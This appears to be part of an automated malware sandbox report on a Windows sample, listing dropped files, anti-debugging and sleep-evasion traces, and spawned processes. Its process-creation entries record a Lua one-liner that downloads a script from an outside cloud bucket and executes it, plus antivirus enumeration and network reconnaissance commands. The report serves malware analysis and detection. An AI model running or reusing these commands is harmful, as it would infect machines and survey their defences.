Source: C:\ProgramData\lua\lua.exe	Dropped PE file which has not been started: C:\ProgramData\ShellExperienceHost\api-ms-win-crt-environment-l1-1-0.dll	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	Dropped PE file which has not been started: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\_SHA1.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	Dropped PE file which has not been started: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\_raw_aesni.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	Dropped PE file which has not been started: C:\ProgramData\ShellExperienceHost\api-ms-win-crt-utility-l1-1-0.dll	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	Dropped PE file which has not been started: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\_raw_blowfish.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	Dropped PE file which has not been started: C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\bindings\_padding.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	Dropped PE file which has not been started: C:\ProgramData\ShellExperienceHost\api-ms-win-crt-process-l1-1-0.dll	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	Dropped PE file which has not been started: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\_RIPEMD160.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	Dropped PE file which has not been started: C:\ProgramData\ShellExperienceHost\api-ms-win-crt-stdio-l1-1-0.dll	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	Dropped PE file which has not been started: C:\ProgramData\ShellExperienceHost\Lib\site-packages\win32comext\axdebug\axdebug.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	Dropped PE file which has not been started: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\_raw_ocb.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	Dropped PE file which has not been started: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\_raw_ofb.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	Dropped PE file which has not been started: C:\ProgramData\ShellExperienceHost\api-ms-win-crt-filesystem-l1-1-0.dll	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	Dropped PE file which has not been started: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\_BLAKE2b.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	Dropped PE file which has not been started: C:\ProgramData\ShellExperienceHost\api-ms-win-core-processthreads-l1-1-1.dll	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	Dropped PE file which has not been started: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\_raw_ecb.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	Dropped PE file which has not been started: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\_raw_des.pyd	Jump to dropped file

Source: C:\Users\user\AppData\Roaming\Flash.exe TID: 2736	Thread sleep time: -120000s >= -30000s			Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe TID: 3216	Thread sleep count: 62 > 30			Jump to behavior

Source: C:\ProgramData\lua\luac.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe

Code function: 1_2_00007FF6566D85A0 GetSystemInfo,WakeAllConditionVariable,AddVectoredExceptionHandler,RtlAddVectoredContinueHandler,SetThreadStackGuarantee,GetLastError,GetProcessHeap,HeapAlloc,

1_2_00007FF6566D85A0

Source: Flash.exe, 00000004.00000002.488781204.000000000BE52000.00000002.00000001.sdmp	Binary or memory string: =Qemuy}
Source: Flash.exe, 00000004.00000002.479476416.00000000051F0000.00000002.00000001.sdmp	Binary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
Source: 8v4iWYLvKJ.exe, 00000001.00000003.204049729.0000020BF54C2000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllTTl
Source: Flash.exe, 00000004.00000002.482770596.0000000008EFF000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW
Source: Flash.exe, 00000004.00000002.479476416.00000000051F0000.00000002.00000001.sdmp	Binary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
Source: Flash.exe, 00000004.00000002.479476416.00000000051F0000.00000002.00000001.sdmp	Binary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
Source: Flash.exe, 00000004.00000002.479476416.00000000051F0000.00000002.00000001.sdmp	Binary or memory string: An unknown internal message was received by the Hyper-V Compute Service.
Source: NETSTAT.EXE, 00000021.00000002.286268358.0000000003377000.00000004.00000020.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll~~

Source: C:\Users\user\AppData\Roaming\Flash.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging:

Source: C:\ProgramData\lua\luac.exe

Code function: 2_2_004022C2 IsDebuggerPresent,_crt_debugger_hook,SetUnhandledExceptionFilter,UnhandledExceptionFilter,_crt_debugger_hook,GetCurrentProcess,TerminateProcess,

2_2_004022C2

Source: C:\Users\user\AppData\Roaming\Flash.exe

4_2_01215E98

Source: C:\Users\user\AppData\Roaming\Flash.exe

4_2_01215E98

Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe

Code function: 1_2_00007FF6567898D0 GetProcessHeap,HeapAlloc,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapAlloc,WSAStartup,WSACleanup,

1_2_00007FF6567898D0

Source: C:\Windows\SysWOW64\NETSTAT.EXE	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Process token adjusted: Debug

Source: C:\ProgramData\lua\luac.exe	Code function: 2_2_004022C2 IsDebuggerPresent,_crt_debugger_hook,SetUnhandledExceptionFilter,UnhandledExceptionFilter,_crt_debugger_hook,GetCurrentProcess,TerminateProcess,	2_2_004022C2
Source: C:\ProgramData\lua\luac.exe	Code function: 2_2_00402403 SetUnhandledExceptionFilter,	2_2_00402403
Source: C:\ProgramData\lua\luac.exe	Code function: 2_2_005E45A4 IsDebuggerPresent,_crt_debugger_hook,SetUnhandledExceptionFilter,UnhandledExceptionFilter,_crt_debugger_hook,GetCurrentProcess,TerminateProcess,	2_2_005E45A4
Source: C:\Users\user\AppData\Roaming\Flash.exe	Code function: 4_2_01208351 SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_2_01208351

Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

Source: C:\ProgramData\lua\luac.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c netstat -ano\|findstr LISTEN\|findstr 127.0.0.1:	Jump to behavior
Source: C:\ProgramData\lua\luac.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c netstat -ano\|findstr LISTEN\|findstr 127.0.0.1:	Jump to behavior
Source: C:\ProgramData\lua\luac.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /C WMIC /namespace:\\root\securitycenter2 path antivirusproduct GET displayName && WMIC os get caption && ipconfig /all	Jump to behavior
Source: C:\ProgramData\lua\luac.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /C WMIC /namespace:\\root\securitycenter2 path antivirusproduct GET displayName && WMIC os get caption && ipconfig /all	Jump to behavior
Source: C:\ProgramData\lua\luac.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /C %ProgramData%\lua\lua.exe -e 'local code = [[local http = require('socket.http');local response_body = {};local res, code = http.request({url = 'http://lualibs.oss-cn-hongkong.aliyuncs.com/x86/Schedule.lua',sink = ltn12.sink.table(response_body)});if type(response_body) == 'table' then loadstring(table.concat(response_body))() else print('error') end;]];loadstring(code)();'	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\NETSTAT.EXE netstat -ano	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr LISTEN	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr 127.0.0.1:	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\NETSTAT.EXE netstat -ano	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr LISTEN	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr 127.0.0.1:	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe WMIC /namespace:\\root\securitycenter2 path antivirusproduct GET displayName	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe WMIC os get caption	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /all	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe WMIC /namespace:\\root\securitycenter2 path antivirusproduct GET displayName
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe WMIC os get caption
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /all
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\ProgramData\lua\lua.exe C:\ProgramData\lua\lua.exe -e 'local code = [[local http = require('socket.http');local response_body = {};local res, code = http.request({url = 'http://lualibs.oss-cn-hongkong.aliyuncs.com/x86/Schedule.lua',sink = ltn12.sink.table(response_body)});if type(response_body) == 'table' then loadstring(table.concat(response_body))() else print('error') end;]];loadstring(code)();'
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c netstat -ano\|findstr LISTEN\|findstr 127.0.0.1:
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\adodbapi\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\adodbapi\examples\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\adodbapi\test\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\bidict\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\bidict-0.21.2.dist-info\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\certifi\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\certifi-2020.12.5.dist-info\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\cffi\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\cffi-1.14.4.dist-info\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\chardet\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\chardet-4.0.0.dist-info\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\chardet\cli\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\chardet\metadata\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\crcmod\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\crcmod-1.7.dist-info\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography-3.3.1.dist-info\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\backends\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\backends\openssl\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\bindings\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\bindings\openssl\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\primitives\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\primitives\asymmetric\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\primitives\ciphers\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\primitives\kdf\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\primitives\serialization\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\primitives\twofactor\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\x509\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Protocol\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Random\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Util\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\engineio\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\engineio\async_drivers\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\idna\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\idna-2.10.dist-info\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\isapi\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\isapi\doc\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\isapi\samples\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\isapi\test\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\Naked\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\Naked-0.1.31.dist-info\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\Naked\commands\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\Naked\templates\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\Naked\toolshed\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\Naked\toolshed\c\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\ntplib-0.3.4.dist-info\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\oss2\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\pkg_resources\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\pkg_resources\extern\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\pkg_resources\_vendor\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\pkg_resources\_vendor\packaging\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\psutil\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\psutil-5.8.0.dist-info\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\psutil\tests\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\psutil\tests\__pycache__\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\psutil\__pycache__\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\pycparser\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\pycparser-2.20.dist-info\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\pycparser\ply\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\pycryptodome-3.9.9.dist-info\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\python_engineio-3.13.2.dist-info\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\python_socketio-4.6.0.dist-info\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\pywin32-300.dist-info\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\pywin32_system32\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\PyYAML-5.3.1.dist-info\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\requests\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\requests-2.25.1.dist-info\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools-51.0.0.dist-info\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\command\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c netstat -ano\|findstr LISTEN\|findstr 127.0.0.1:
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\_distutils\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\_distutils\command\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\_vendor\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\_vendor\packaging\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\shellescape\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\shellescape-3.8.1.dist-info\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\six-1.15.0.dist-info\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\socketio\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\urllib3\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\urllib3-1.26.2.dist-info\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\urllib3\contrib\
